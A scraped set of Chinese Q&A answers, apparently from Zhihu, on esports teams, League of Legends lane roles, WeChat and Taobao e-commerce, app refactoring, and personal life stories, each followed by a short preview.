好的时候能带崩三路,而且还是不好的时候居多。草莓的状态下滑比较严重,在国内都算不上顶级上单了,微笑的状态时好时坏,既有飞机毫无优势时怒出杀人剑的神来之笔,又有对阵LGD时,小炮屡屡被抓。韩国教练的水平是有一些的,但是在重要比赛的BP上我觉得做的还远不够,能看到泽拉斯和狮子狗的体系算是战术上的一个亮点。也能看到对阵LGD时屡屡放出韦神的发条。&br&&br&还记得在IEM9夺冠后,大家都以为是WE一个转折点,事实上在这之后的10场联赛里,WE1胜9败,亲手断送掉S4预选赛的资格。这在我看来,几乎是不可能的事情,1胜9败,那怕多赢一场都能进军预选赛,而这也是我记不清多少次每每到关键比赛,WE就拿不下来了。要说队伍的心理没有问题,是不可能的。&br&&br&夏季赛后,草莓退役,微笑退役。曾经的5个人,全部离开了这支队伍。也才有了此文,微笑退役后一直想写点什么回顾一下这5个人的过往,恰好看到这个问题就发挥了一下。就国内的电竞来说,发展的还是畸形的,像这种选手大于俱乐部的情况就是个例子,他们退役后,我甚至不知道下赛季该看谁的比赛。但是,如果是足球俱乐部的话,就是铁打的俱乐部,流水的球员,没有谁能够凌驾于俱乐部之上。欧文走了,托雷斯走了,苏神走了,我依然会看利物浦。这,是一个发展健全的体育运动应该做到的。俱乐部的起伏跟选手有关系,但俱乐部的存亡不应维系于选手之上,要有健康良好的发展体系,这应该不仅仅只存在于国内的电竞上,全世界的电竞应该都有这种情况。因此,电竞要像真正的成为被世人认可的体育项目,还有很长的路要走。走的太快,就会昙花一现。到时再想从头再来,就难了。&br&&br&完结。&br&&br&以上为全文,见笑。如不赞同,言辞不必激烈,大家探讨。
这个问题真的想好好回答一下,借着回答整理一下关于这支英雄联盟战队这两年多来带给我的情感(从刀哥和IF还在WE的时候关注的这个战队,差不多也可以算是眼看着他起高楼,眼看着他宴宾客,眼看着他楼塌了吧)。可能会有点跑题,因为问的是全盛时期的评价,我…
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总有那么一些人,接受新事物的能力比你想象的低。&br&他们只是不习惯这个新界面罢了。也许两年后微信UI再改版回去,跳出来骂的还是这一批人。
总有那么一些人,接受新事物的能力比你想象的低。他们只是不习惯这个新界面罢了。也许两年后微信UI再改版回去,跳出来骂的还是这一批人。
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英雄联盟最早的时候,并不是这么分的,之所以形成今天的局面,是长期经验累积的结果,我玩也仅仅2年而已,只记得s1的时期在中路的是adc。那么为什么今天分为这样5个位置以及路线呢?我们慢慢分析。&br&&br&先说英雄定位,位置的分布原理我们后面会讲到。简单来说,队伍内需要两种人,一种是伤害输出,一种是伤害吸收。我们经常看见有的队伍前期线上路路顺,一团战就吃力或者很勉强,而且经常30分钟自然崩,前期多大的优势都被打回去了。这类队伍,通常是配置上有问题,典型的就是缺少坦克型英雄。线上一对一,没有坦克╮(╯_╰)╭无所谓,一旦打起团战,这些输出超高的英雄都活不过3秒,自然要输。另一种常见的情况是,虽然有坦克,但输出类型单一,比如菜刀队,菜刀队前期有很大的优势,但一旦对方防御装成型,就很难赢,毕竟对方只需要护甲就好了。纯法师队没见过,但道理相同。所以,我们现在明白了,队伍当中需要伤害输出型和伤害承受型队员,而伤害输出型又分为物理输出与魔法输出两种。&br&&br&当然,仅仅如此还不够,因为这个游戏只有3条线,却有5个人,经济如何分配?打野的存在,让野区经济得到利用,并且还可以利用野区没有视野的优势帮助线上的队友击杀对方。基本上,整个地图的位置都被这4个人分配完了,这时,第五人怎么办呢?跟任何一个人走一路都会有两个问题:第一,分享友方经验,大家等级都会落后。第二,分享经济,两个人中必有一个无法正常发育,会有隐患。于是,第五人跟着ADC走一路,并放弃自身发育(补刀),是最好的办法。&br&&br&首先,ADC是后期英雄,前期等级略低于其他路根本不重要,因为他前期的任务就是发育,让后期自己能打出伤害。其次,这类英雄都是脆皮,有的还没有逃生技能,发育过程中一旦被对方打野GANK很容易死掉。所以,有一个辅助跟着,做视野,并且保护ADC发育正常,是最科学的。&br&&br&于是,队友类型基本确定,坦克或法坦,法师或刺客,ADC,辅助。打野可以是坦克,也可以是输出。&br&&br&接下来我们谈谈为什么如此分路。&br&&br&中单为什么给法师和刺客?&br&因为正常情况下法师和刺客的第一次发力期是游戏中期(10分钟以后),中路是最短的路线,上线时间快,而且两边都是野区,拥有最多的资源,在中路的人能最快成型,帮助其他路线。法师和刺客走在中路的意义,不言而喻。&br&&br&下路为什么是ADC和辅助?&br&按理说,下路和上路的路线一样长,为什么上单和ADC不能换个位置呢?想想看,下路还有什么?小龙啊!游戏前期的重要争夺点,以及团战爆发处,下路有两个人,和一个人,对龙和对团战的意义都是不一样的。&br&&br&那上单为什么一般都是坦克?&br&坦克输出较低,发育也略慢,高端局在没有打野的情况下很难单杀对方,基本上就是互相发育,防止GANK,下路打起来了传送下去支援,如果不能保证单人发育,坦力不足的队伍是很受伤的,而输出位置已经在中下路了,那上单和打野,就要承担坦克的任务了。线上的发育比野区好,所以主坦会在上路发育。&br&&br&以上是我对这个游戏的配置和分路的理解,欢迎大家讨论,如果我说错了,请指正,谢谢各位。&br&&br&&br&&br&——————我是羞耻的分割线————————&br&&br&首先声明,在召唤师峡谷中并不存在最优路线分配,竞技游戏,招无定招,不过EU流的分线最适合路人局,毕竟交流不能及时的话,很多套路是不能完美使用的,心灵相通的路人队友,遇到就嫁了吧。&br&其次,有人提到过我没有用博弈论解答问题,其实这一点,已经融入在了回答当中,当然,我也自行补了一下课,对于博弈论这种方法论,有了一个基本的理解。那么,我们把得到的原理带入原答案。&br&&br&就分路情况来说,涉及的博弈论原理有2种。&br&1: 合作博弈——研究人们达成合作时如何分配合作得到的收益,即收益分配问题。&br&先讲收益,游戏里的收益无外乎两种,经济与经验。3线加野区一共4个经济经验分配点,5位玩家如何分配?牺牲一个人的经济,保证另外4个人的全力发育,比其他任何分配都要合理,而且不会浪费资源(比如212分路就是对野区的极大浪费)。经验呢,由一个不需要前期拥有高等级的ADC与辅助共同分享,是最科学的。当然,套路中也可以辅野双游增加前期GANK成功率,并让ADC迅速升级,但同样有问题——拖慢打野等级,有的打野到6级和没到6级是两个英雄,而且ADC单人发育风险很大,在路人局里很难使用。&br&&br&(2)非合作博弈——研究人们在利益相互影响的局势中如何选决策使自己的收益最大,即策略选择问题。 &br&作为对手,同样是路人,当对方选择了路人局里最保险最常见的EU流分路,你如何选择?在信息交流情况对等的前提下,选择更有风险但一旦成功就有巨大收益的套路(比如AD上路,辅坦下双,中野双游),还是稳扎稳打拳对拳脚对脚?在路人中,大家最讨厌的就是,背锅。假如我指定战术,队友无法执行或者不愿执行,怎么办?如果强行执行了,输了是不是责任我担?所以干脆免除这种交流带来的风险,反正EU流已经深入人心,大家都懂得怎么玩,更来的省事,剩下的,就是拼操作,比意识。大家都能心领神会的套路,在路人局里才是最大的收益前提。&br&同样,如果对方选择了非常规套路,作为己方玩家,选择大家都能明白的打发成功率更高,因为对方冒着比你更大的风险去执行战术,一旦不能成功,很容易全面败退。这里,选择EU的原因点是:成功几率,虽不代表一定不败,但成功的几率,是很大的。&br&当然,假如你5黑或5人战队排,就去开心地使用最适合你们的战术吧o(╯□╰)o。&br&&br&最后,依然是前面所说的,这是我个人的看法,如果我说的不对,希望大家指教,我会及时追加修改(不改变原答案以示尊重)。我爱这个游戏。
英雄联盟最早的时候,并不是这么分的,之所以形成今天的局面,是长期经验累积的结果,我玩也仅仅2年而已,只记得s1的时期在中路的是adc。那么为什么今天分为这样5个位置以及路线呢?我们慢慢分析。先说英雄定位,位置的分布原理我们后面会讲到。简单来说,…
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几点吧:&br&一、心态&br&DotA 不拿冠军就是崩,ti3不进前三。原本打算退役的至少4个选手都留下来再战一年(老司机,国土,em,下面8),ti4中国队夺了冠才退役。早年Zhou,狗哥这些人都是吃着泡面打DotA的,09,820他们还露宿街头过。这些人打职业就是要拿冠军的。反观lol,他们是去挣钱的。&br&二、粉丝&br&输一场能有一周节奏,ti3不进前3带半年节奏。&br&不可能有&s4总决赛虽然输了,但是我们粉丝还是依然支持你们,明年要继续加油哦&,或者&今年赢了一局,你们打得已经很不错了呢,爱你们么么哒。&&br&还有楼下的,成绩不惨啊,3:0赢了韩国第三呢。历年来dota世界前10的所有外国队,哪个没被中国队血虐到意识模糊好几次。不是偶尔,是惯例。输一次试试看,粉丝马上就是&反思&,&退步&,&不思进取&。&br&(没错,我就是想表达,毕竟3:1,能吹一年&和谐&)&br&总之,dota的氛围更多的是输赢,选手更有血性。而lol的话,当年若风可是在dota 圈成为笑柄才跑去lol圈的,一个连&哪里跌倒哪里爬起来&都做不到的人,都能成为中单杀神,你说呢?
几点吧:一、心态DotA 不拿冠军就是崩,ti3不进前三。原本打算退役的至少4个选手都留下来再战一年(老司机,国土,em,下面8),ti4中国队夺了冠才退役。早年Zhou,狗哥这些人都是吃着泡面打DotA的,09,820他们还露宿街头过。这些人打职业就是要拿冠军的。反观l…
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首先,推荐一本书,这本书叫做《Refactoring improving the design of existing code》&br&对,就是重构。&br&首先要明白一个道理,再牛逼的架构,在代码总量达到一定规模的时候必然伴随着各种妥协的产物。&br&比如,进度上的安排导致的妥协(就好比去年的红包大战),在微信先出招的情况下,据说阿里是在快过年的时候临时招员工回来加班加点的赶制自己的红包功能。&br&在这样的情况下,代码的质量下降是必然的。&br&&br&所以,微信,淘宝一类的客户端在发展到现在的体量下,必然有数不尽的代码需要去重构。&br&这是花费时间的一个点。&br&&br&第二个,解决问题容易,优化解决方案难。&br&&br&一般创业公司由于人员变动频繁,或者限于开发者实力等等。在第一版的时候往往并没有充分的考虑到后续版本的可扩展性,所以在碰到大的迭代更新的时候往往面临一个问题,就是,程序完全没法改了。改了还不如重写,我也碰到过不止一次这种情况。&br&那么同样的,微信这种级别的app,肯定是碰到了类似的,非常多的问题,当然他们同时也解决了非常多的问题。但是,是不是每个问题的解决方案都是最佳的,那显然不是。所以开发者肯定要在后续开发中尝试用更好的,没有后遗症的方法优化解决方案。这也是耗费时间的地方。&br&&br&总的来说,没有完美无缺的代码,但是总会有越来越优秀的重构。一般的app可以要求crash 率在万分之几就可以了。但是放到微信这种使用人数以亿为单位的app面前。这个要求肯定是不行的。这么一种严苛的要求,难道不需要开发人员用时间去打磨么?
首先,推荐一本书,这本书叫做《Refactoring improving the design of existing code》对,就是重构。首先要明白一个道理,再牛逼的架构,在代码总量达到一定规模的时候必然伴随着各种妥协的产物。比如,进度上的安排导致的妥协(就好比去年的红包大战),…
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.&br&哪个看着累,选哪个。&br&.
.哪个看着累,选哪个。.
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马化腾三十岁生日,转发开七钻,不转还是中国人!&br&&br&参与办法:&br&打开你的QQ空间转发本条并发送一条说说,“#马老爷子生日快乐# +对他的生日祝福即可”&br&&br&奖品介绍:&br&参与活动即没有可能获得我们精心准备的大奖—“腾讯大楼外墙灯上的一颗螺丝钉”(给你灯就下来了) 和“酷炫七钻大礼包”&br&&br&&br&&br&&br&&br&&br&&br&&br&正经回答:即将推出的手机游戏天天连萌么么哒
马化腾三十岁生日,转发开七钻,不转还是中国人!参与办法:打开你的QQ空间转发本条并发送一条说说,“#马老爷子生日快乐# +对他的生日祝福即可”奖品介绍:参与活动即没有可能获得我们精心准备的大奖—“腾讯大楼外墙灯上的一颗螺丝钉”(给你灯就下来了)…
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android的QQ和微信一看就是从iphone上生硬移植过来的,估计连原生android 代码都不是,而是用转化工具转化的。&br&那个得票第一的说降低学习成本,可你见过谁同时又用iphone又用android了,就算同时用,你想想这种用户是对上手方便更看重还是对更专业的用户界面更看重?要是从iphone换到4.0以上的android手机,你拿一个半死不活还套着一层廉价iphone控件皮的QQ和微信应付这么明智的高端用户,岂不是更加侮辱他的智商!?&br&我个人觉得就是腾讯为了开发方便。
android的QQ和微信一看就是从iphone上生硬移植过来的,估计连原生android 代码都不是,而是用转化工具转化的。那个得票第一的说降低学习成本,可你见过谁同时又用iphone又用android了,就算同时用,你想想这种用户是对上手方便更看重还是对更专业的用户界面…
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作为一个基本告别QQ,微信,微博的人来说,确实是经历了从放弃到不安再到纠结最后失落然后获得新生活的感觉。&br&&br&去年国庆前后,和女友分手,因为在一起的时候很开心,所以分开后也格外痛心,一直到年底才算是彻底放开,她让我答应彼此不能断了联系,所以电话,QQ,微信,微博等都没有删除,偶尔还能联系上。&br&&br&一开始的时候,因为自己很不在状态,做什么都不想做,自然每天抱着QQ,微信和大家聊,希望自己能早点走出来,然后再微博上说一些无关紧要的话,告诫自己安心成长,再后来,偶尔刷朋友圈,空间可以看到她的信息,和闺密吃饭,和同学看电影,真的小心酸,索性屏蔽掉,为了不让自己养成偷偷看她空间和朋友圈微博的习惯,渐渐地就告别了,其实后来也发生了很多事情,和同学在一起久违的快乐,终于可以花大把大把的时间做之前想做的事,也很想和大家分享,只是忽然想到,我这样做会让她不开心,索性就放弃了。&br&&br&刚开始的时候确实是心烦,当遇到开心的事儿不和人分享,遇到难受的事儿要独自承担的时候,的确是很苦闷的事情,可是渐渐的我发现,我没有必要把生活方式,思维思考的结果呈现在大家面前时,换句话说,我没必要让情绪在大家面前裸奔时,渐渐就觉得,与其把时间精力和心思浪费在社交上,还不如好好的提升自己来得更为实在。&br&&br&抱着这样的心思,我开始克制自己和人交流的欲望,开始关注我眼下的生活,我的学业,我将来外地工作一个人的生活该如何打理?在刚毕业的三五年内该掌握的技能有哪些?如何系统的学习其他专业的知识?因为明年要装修新家,如何设计装潢才能让自己的生活品质有所提高?以及哪些家具可以扔掉买新的,价格又有多少?就我个人而言,从小到大买了好多书,哪些书还有保留价值,哪些书已经可以放弃?&br&&br&正是这样的事情一件件压下来,我会忙着自己出门找我想要的,网上也会各种搜索,忙了大概两周左右,我忽然发现,离开大家的聊天,我并没有陷入巨大的空虚孤独中,反而学习到了不少知识,欣喜之余,一方面延续之前的事情,另一方面开始关注自己的兴趣点和优势劣势的问题,然后去书店看到好的书,开始思考它的价值,哪些是实体书,哪些买电子书就可以……&br&&br&如此又过了一个月,我的生活并没有得到太大的改变,只是我忽然不对外界的事情抱有期望,我不必在意别人的评价,也没必要因为别人生活的琐碎让自己疲惫不堪,我更不是大家情绪的垃圾桶,我忽然发现,当我恢复一个人独处一个人玩儿的时候,我是专注并富有热情,我更有时间做自己的事儿。&br&&br&最近忙着学做饭,每天挤菜市场,挤超市,回来拿着菜谱一点一点摸索,有同学来我家时,小露一手,被同学赞不绝口,两个人狼吞虎咽还没吃饱,我又做了汤又饱饱的喝了两大碗,于是我发现:&br&&br&一个人把自己的生活整理调节的井然有序,更关注内心成长的时候,往往会忽略外界生活带来的不堪。&br&&br&和前任分开这么久,忽然发现,生活品质有了巨大的提升,和大家聊天的时间基本没有了,但是和大家一起出去玩儿的时间越来越多,自己独处的时间也越来越多。&br&&br&嗯嗯。一切都很好,没有想象的那么糟。
作为一个基本告别QQ,微信,微博的人来说,确实是经历了从放弃到不安再到纠结最后失落然后获得新生活的感觉。去年国庆前后,和女友分手,因为在一起的时候很开心,所以分开后也格外痛心,一直到年底才算是彻底放开,她让我答应彼此不能断了联系,所以电话,…
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cf的受众群体主要是小学生到25岁左右二三线城市务工人员或者在读学生,这些受众群体有一个共同的特点&br&&br&1相对经济收入不足&br&2文化水平相对并不高&br&3没有或者基本没有游戏的信息渠道&br&4游戏时间不稳定&br&5社交圈子影响&br&&br&拿著名游戏公司大作男朋友3和cf做比较,男朋友3不再介绍,大家大可百度看宣传片(因为4被封禁了不再多提)&br&&br&1游戏价格:cf免费,最多承担一个网吧费用,我们不讨论微交易。男朋友3至少200起,你还要上马云才能买到。&br&&br&2登陆方式:cf使用qq号可以随意注册,男朋友用烂橘子,还要鹰文激活,非常繁琐&br&&br&3配置要求:cf任何网吧渣渣机器均能“最高特效”运行,男朋友电脑预算至少5k起&br&&br&4游戏内容:cf见人就射,简单粗暴。男朋友需要右键机瞄,后座很强不容易操控,远距离子弹重力下坠,掩体众多,林木繁茂,趴在草地后的狙击手完全看不到,出门怎么死都不知道。受挫感极强&br&&br&5游戏时间,cf一局5—10分钟即可结束,男朋友一局至少30分钟起,大型征服可打40-50分钟&br&唔,还要死很多次&br&&br&6信息渠道和文化水平,文化水平指计算机操作水平。首先企鹅的良好宣传让cf成为fps搜索标杆,大部分cf玩家基本不知道也不会去3dm和游民星空这类盗版游戏网站关注最新的游戏信息。而下载破解打补丁这类繁琐的电脑操作让游戏还未体验就让绝大部分人退却,即使安装成功则又回到了3的问题&br&&br&因为有童鞋在评论中提到,所以我补充7&br&7社交影响:我身边朋友都在玩,我也跟着一起玩,玩着感觉还可以就继续玩下去了咯&br&&br&综上所述,我cf完爆男朋友,不愧wcg比赛项目,在这里每一个祖国的花朵得到了游戏的熏陶,有技术的刷技术,没技术的买枪刷技术。每一个孩子都在晚上被虐的死去活来,却在第二天班级的讨论中化身为虐他的大神。同时学会省吃俭用,“买辅导书”省下钱买了各种不知道型号的m4,让童年生活多姿多彩&br&&br&我上面这段是调侃啦,下面有童鞋提到了cf出现时的天时地利,的确cf在刚出来的时候拥有这些优势,但如今已经过去8年,cf的用户群体已经发生很大变化。最早逃课打cs的初中生都当人父了,现在的用户群体更加年轻&br&&br&&br&为什么cf还能如此成功,就在于&br&1企鹅始终能牢牢把握当前用户群体的特点,并利用平台优势进行宣传推广。&br&2当前国内游戏市场混乱,大量优秀的国外射击游戏因为各种原因根本无法在国内发行,获取渠道困难,而一群好友能坐下来马上开始更加难上加难(看看codol,我们不说和原版比,都是企鹅下的,现在还在内测,更不要说那非常打击人的游戏体验,新手完全没法出门)&br&&br&有童鞋让我拿cs做比较,cf和cs的优势在于&br&&br&1相比cs1.6前更优秀的画面,但是相比css更亲民的配置,(css画面有所提升但是和一线fps依然差距甚远,中不溜秋反而两面不讨好)&br&2免费游戏,qq登陆,不需要steam账号,操作简便&br&3相对优秀的即时匹配系统,cs的匹配系统基本没有,大部分是盗版局域网,很难即时搜索对手&br&4游戏创意,cf不断发展后企鹅还是借鉴了不少新游戏模式,比如打僵尸,比如打电脑ai,比如最近新出来的玩家带ai拆基地&br&5游戏难度,fps的操作主要是:枪械后座 伤害 精准 走位(身法)cf经过那么多版本那么多人民币枪后座伤害早已面目全非,举枪就射三枪就死,甚至由于人民币枪械数据过于接近,机枪步枪冲锋枪除了弹药携带量基本没有差异;地图地形简单也决定了很难利用绕路或者地形掩体规避伤害。cs我不知道csol如何,但是csgo还是很贴近原有cs的射击手感,这个射击手感对于老玩家可能很友善,但是新手绝对不会喜欢&br&5其他,说到cs就必须提到csol国服特别版,csol的运营和企鹅比就是一坨那啥
cf的受众群体主要是小学生到25岁左右二三线城市务工人员或者在读学生,这些受众群体有一个共同的特点1相对经济收入不足2文化水平相对并不高3没有或者基本没有游戏的信息渠道4游戏时间不稳定5社交圈子影响拿著名游戏公司大作男朋友3和cf做比较,男朋友3不再…
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&p&暂时没有太大影响。&/p&&p&淘宝是&b&购物方式&/b&、微信是&b&生活方式&/b&,&b&生活方式涵盖购物方式&/b&。&/p&&p&如果正常发展下去,超过现有电商平台是有可能的。&/p&&p&但未来的事,我们不能凭空猜测,我们只能拭目以待。&/p&&p&早年的PPG,是否有人了解。当年被无数人看好,现在是中国电商十大失败案例之一。&/p&&p&早年的凡客,被吹的如何如何,今天凤凰涅槃、否极泰来了嘛。&/p&&p&国际的亚马逊进入中国,每年的营业额增长几何。&/p&&p&说这些只是想说一个观点:&b&要冷静看待这个问题。&/b&&/p&&p&以下是一些愚见,欢迎讨论。&/p&&p&——————————————————————————————————————&/p&&p&我将按以下三个要点来分析&/p&&p&&b&第一 微信是什么(微信是电商平台嘛)&/b&&/p&&p&标题是“微信公众平台增加微信小店,对现有得电商平台有什么影响?”&/p&&p&请看到这个答案的各位在心理做一道判断题:&/p&&p&你认为微信现在是一个电商平台嘛(
)。&/p&&p&你会选择是and不是呢。&/p&&p&我选择&b&不是&/b&。原因很简单,就在微信的自身定位。&/p&&p&微信的定位就在微信的PC首页。微信,是一个&b&生活方式&/b&。&/p&&img src=&/4e8fb6b220c97fdf9fe64_b.jpg& data-rawwidth=&364& data-rawheight=&272& class=&content_image& width=&364&&&img src=&/d70d6c2ad629e10e95824afaf5d73a36_b.jpg& data-rawwidth=&365& data-rawheight=&326& class=&content_image& width=&365&&&br&&p&我们要记得,&/p&&p&我们打开微信先看到的是一个地球;&/p&&p&不是掌柜老婆跟人跑了,今天挥泪大甩卖,9.9包邮,还送退货险。&/p&&p&微信一个最早看似和QQ是一个东西的玩意,现在成了马腾腾的护城河。&/p&&p&腾腾在一次会议上说他是幸运的。说不敢想没有微信他能不能扛的住。&/p&&p&为什么微信是护城河呢,因为它是生活方式,高过购物方式。&/p&&p&那什么是生活方式。百度结果如下:&/p&&p&生活方式(Lifestyle)是一个内容相当广泛的概念,它包括人们的衣、食、住、行、劳动工作、休息娱乐、社会交往、待人接物等物质生活和精神生活的价值观、道德观、审美观、以及与这些方式相关的方面。可以理解为就是在一定的历史时期与社会条件下,各个民族、阶级和社会群体的生活模式。&/p&&p&简单说:&/p&&p&你上班写字楼、下班公交车、放假看电影,吃饭KFC,旅游新马泰,购物万达华润沃尔玛。这就叫生活方式。&/p&&p&可怕的事情发生了,微信在如上的例子中,基本每个环节都伴随着你。&/p&&p&上班做电梯无聊的时候你有没有微信。&/p&&p&上班无聊趁老板没看见你有没有微信。&/p&&p&在公交车上,可以闲情逸致的看别人挤而自己抢到位置的时候,你有没有微信。&/p&&p&其他例子不再举。微信确实做到了融入我们的生活。成为了一个生活方式。&/p&&p&&b&第一部分结束。结论就是 微信是一个生活方式,不是电商平台。&/b&&/p&&br&&br&&p&&b&第二 什么是电商平台。有什么特点,和微信比缺什么&/b&&/p&&p&电商平台,全称电子商务平台。电子商务平台即是一个为企业或个人提供网上交易洽谈的平台。企业电子商务平台是建立在Internet网上进行商务活动的虚拟网络空间和保障商务顺利运营的管理环境;是协调、整合信息流、物质流、资金流有序、关联、高效流动的重要场所。企业、商家可充分利用电子商务平台提供的网络基础设施、支付平台、安全平台、管理平台等共享资源有效地、低成本地开展自己的商业活动。&/p&&p&最简单的解释,就是电商平台就是一个在网上卖东西的地方。&/p&&p&卖东西对应的是买东西。但买东西是什么呢,我们可以说买东西只是生活方式的一部分。你是去超市买菜还是去菜市场买菜,就好比你是去淘宝买东西还是去天猫买东西。你只会在需要买东西的时候才会去,我不买东西我去超市干什么。所以超市们都学聪明了。把超市变成一个商业中心,里面不但有商品可以买,还有好吃的,还可以理发SPA看电影。然后让你经常去这个商业中心成为你的习惯,成为你的生活方式的一部分。&/p&&p&打个比方,如果淘宝是个超市,那微信就是个购物广场。&/p&&p&购物广场,超市是辅助的,一般在地下一楼。&/p&&p&超市,超市是主要的,一般在二楼和三楼。&/p&&p&如果你还不懂区别,想想你和女朋友去超市和购物广场时候女朋友的表情就知道了。&/p&&p&马云做淘宝的思路是把淘宝做成一个很大的网上市场,你所有来我这开店的人我都收点税。让淘宝成为一个必需品。大家都来买,就我流量最大,你们就都要来我这开店,这种商业模式就好比国家商业模式。比如我们日常的水、电,其实都是国家卖给我们的商品,但是我们都忽略了。马云就是这个思路。然后是靠免费开店,引入卖家,而这些卖家很多都是第一批卖家。聚集人气之后一步步做大。这是马云从他阿里巴巴起家B2B到B2C一个很顺理成章的思路。成功的做成了一个网络超市。&/p&&p&电子商务可以说是马云自己给忽悠起来的。电商不错,马腾腾看马云搞的不错,说出于防御策略我也要干。说干就干,就弄了拍拍、QQ网购,还收购了易迅,最后又都给了京东。大家都说腾讯是看到自己实在不行了,没有电商基因,只有做社交的基因。而社交这个东西,是马云一直想搞一直都没搞成的。索性马腾腾把电商扔给了刘强东,轻装上阵自己继续搞社交。&/p&&p&微信的思路是什么。微信要干什么。打个比方&/p&&p&马
云说,我是中国最牛逼的电商平台,&/p&&p&马腾腾说,我是一个生活方式。&/p&&p&马
云说,我是中国最大网络超市,&/p&&p&马腾腾说,我是一个生活方式。&/p&&p&马
云说,我什么都卖的好,&/p&&p&马腾腾说,我是一个生活方式。&/p&&p&马
云说,我是沃尔玛、家乐福、大润发。(超市,一般只会买东西才去)&/p&&p&马腾腾说,我是华贸、万达、万象城(生活方式,可能是因为吃饭、聚会去)&/p&&p&马云让淘宝成为买东西时候的必需品。(淘宝是购物方式)&/p&&p&马腾腾让微信成为日常生活的必需品。(微信是生活方式)&/p&&p&微信这个产品从把握人性的角度明显比淘宝卖货高一个层次。&/p&&p&&b&第二部分结束。结论:电商平台是购物方式。微信平台,是生活方式。购物方式只是生活方式的一部分,微信可以卖货,但不是全部。淘宝可以干的微信也可以干,微信可以干的,淘宝干不了。&/b&&/p&&br&&br&&p&&b&第三,微信开店对目前电商平台影响大嘛。&/b&&/p&&p&我从商家入驻微信和入驻淘宝两个平台盈利难易的角度来分析。&/p&&p&电商基本的盈利模式是,流量——转化率——购买成交——老顾客维护——二次购买&/p&&p&从淘宝平台来看,按照上面的公式,很容易做到并解决这五个点。淘宝的销售模式已经很成熟。这里不细解释。&/p&&p&从微信来看:&/p&&p&流量,来自于粉丝,相比于淘宝平台的流量可以向淘宝购买是截然不同的。如果获取流量和粉丝,在微信平台,对于中小卖家是难题,对于已经有品牌知名度的商家相对容易。&/p&&p&转化率,在消费者没有认知度的情况下,没有对你产生信任的情况下,购买是很难的。&/p&&p&前两点就已经很难解决了,后面几点就无从谈起。&/p&&p&从目前的微信情况来看,除了一些大的品牌外,比较成功的公众号都是生活服务类的公众号,比如搞烧烤的,便利店之类的。&/p&&p&中小卖家在微信上以公众号的方式成功运营实现盈利的几乎没有。做朋友圈生意这里不算。&/p&&p&简单的说,就是目前微信公众号开店还没有成功的运营盈利模式。也许有,人家在闷声发大财吧。所以目前来讲冲击不大,因为中小卖家,或者说没有品牌的卖家是电商的绝大多数。而这些卖家没有盈利模式。所以不会很快有影响,至少近几个月不会。&/p&&p&但商业的本质是相通的,应该不会太久吧。我对这点很乐观。&/p&&p&还要看微信的引导。(微信在电商这块目前还是很低调的)&/p&&p&未来会怎样,我们无从知晓。&/p&&p&但当下有无影响,你想想自己在微信买东西多还是淘宝买东西多就知道了。&/p&&p&不喜勿喷。欢迎讨论。&/p&&p&以上写于5月30日 05:49&/p&&p&——————————————————————————————————————————&/p&&p&以下为5月31日更新&/p&&br&&p&对微信现在存在的几种购物模式做一个小结(转发朋友圈,打款支付宝这个类型这里不计) 欢迎讨论&/p&&p&A 微购物—支付&/p&&p&以“杰克琼斯”公众号做例子。这类公众号为服务号。多出现于微信支付出现初期,自建后台或者使用第三方后台。首次下单需要输入客户的地址。支付跳转页面左上角会出现“微购物—支付”。&/p&&p&B 微信小店&/p&&p&以“好药师”公众号做例子(我不是做广告啊,我也是看见新闻里说这个号如何如何才去看的)。这类公众号为服务号。在首次下单购物时需要输入客户的地址。支付跳转页面左上角会出现“微信小店”的字样。&/p&&p&C 订阅号类公众号(公众号分两种,订阅号和服务号)。&/p&&p&以“真维斯”“森马”公众号做例子。这类公众号是订阅号。在商家实现京东或者QQ网购接口对接的情况下,可以实现购物。(感觉这与订阅号最初的初衷有违背)&/p&&p&D 出现在微信“发现”频道。下面新增 购物 一栏。购物场景与C类相同。&/p&&p&简单分析和评论下几种购物模式 拙见 欢迎讨论&/p&&p&1.“微信小店”的出现,因为在提交订单前要自己重新填写地址,猜测没有和QQ网购平台和京东平台对接。可能属于微信自己的一块。如果属于微信自己的,在腾讯京东合作大背景下这么搞,用意是什么。本人不敢妄猜。拭目以待。&/p&&p&2. 在“发现”频道下增加“购物”一栏,意义重大。原因主要是商家可以通过入驻京东或者QQ网购平台,而使商品在这里出现,从而获取流量。这就帮商家解决了流量问题。这个栏目好比在微信这个大生态系统下的“淘宝首页”。&/p&&p&3.假设,未来如果出现一个专门的分类栏,类似于现在的“购物”一栏,里面全部是“微信小店”,“微信小店”的产品可以按一定规则出现在这个汇总栏目里。那么微信就帮助微信小店的店主们解决了流量入口问题。这个时候可能会是一个很关键的时候。这时候微信小店会对电商平台产生比较大的影响。(注:本文旨在讨论微信小店对电商平台的影响)&/p&&p&这个棋局要看微信怎么走下去。&/p&&p&胡乱假设,各位莫笑。&/p&
暂时没有太大影响。淘宝是购物方式、微信是生活方式,生活方式涵盖购物方式。如果正常发展下去,超过现有电商平台是有可能的。但未来的事,我们不能凭空猜测,我们只能拭目以待。早年的PPG,是否有人了解。当年被无数人看好,现在是中国电商十大失败案例之…
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爱逛街不如说会逛街。他是会逛街爱操心的好男人。这么一个男人拖着我逛街就像是丑女大改造。我成功逆袭了。&br&太懒就不写长答案让你们烦了。不好意思了。&br&我以前究竟有多丑呢?丑到不敢爆照啦!丑到他告白我都不敢相信。现在的样子熟人都知道的。&br&我爱所有有潜力的女孩子,么么哒。&br&&br&那时候我短发(男士头),从来不穿裙子,每天长袖牛仔裤。唯一的护肤品是春娟宝宝霜,不用洗面奶不用水乳不会去角质(这些根本懂都不懂)。&br&我的前男友,我的改造师。&br&&br&我的蕾丝和绸缎内衣全是他带我去商场买的,以前我都是高中生标配内衣。我的洗发水香水润肤乳都是他买的,我以前只用我奶奶用的9块9飘柔。第一次脱毛好不习惯,但是身体滑滑的感觉太好了。&br&外在绝对不是最重要的,恋爱和自信是女人最好的化妆品。&br&&br&我一个宅女,只是写写毛笔字的女人。他抱着我站在镜子前面说看你身材多好,腿多长。那个时候我多没自信啊。在外面的时候在一群美女中告诉我比她们都漂亮。&br&&br&依照他的话就是“你就是一块上好的璞玉,稍微一打磨就能发光。你只是土不是丑。”我相信你也是一样。
爱逛街不如说会逛街。他是会逛街爱操心的好男人。这么一个男人拖着我逛街就像是丑女大改造。我成功逆袭了。太懒就不写长答案让你们烦了。不好意思了。我以前究竟有多丑呢?丑到不敢爆照啦!丑到他告白我都不敢相信。现在的样子熟人都知道的。我爱所有有潜力…
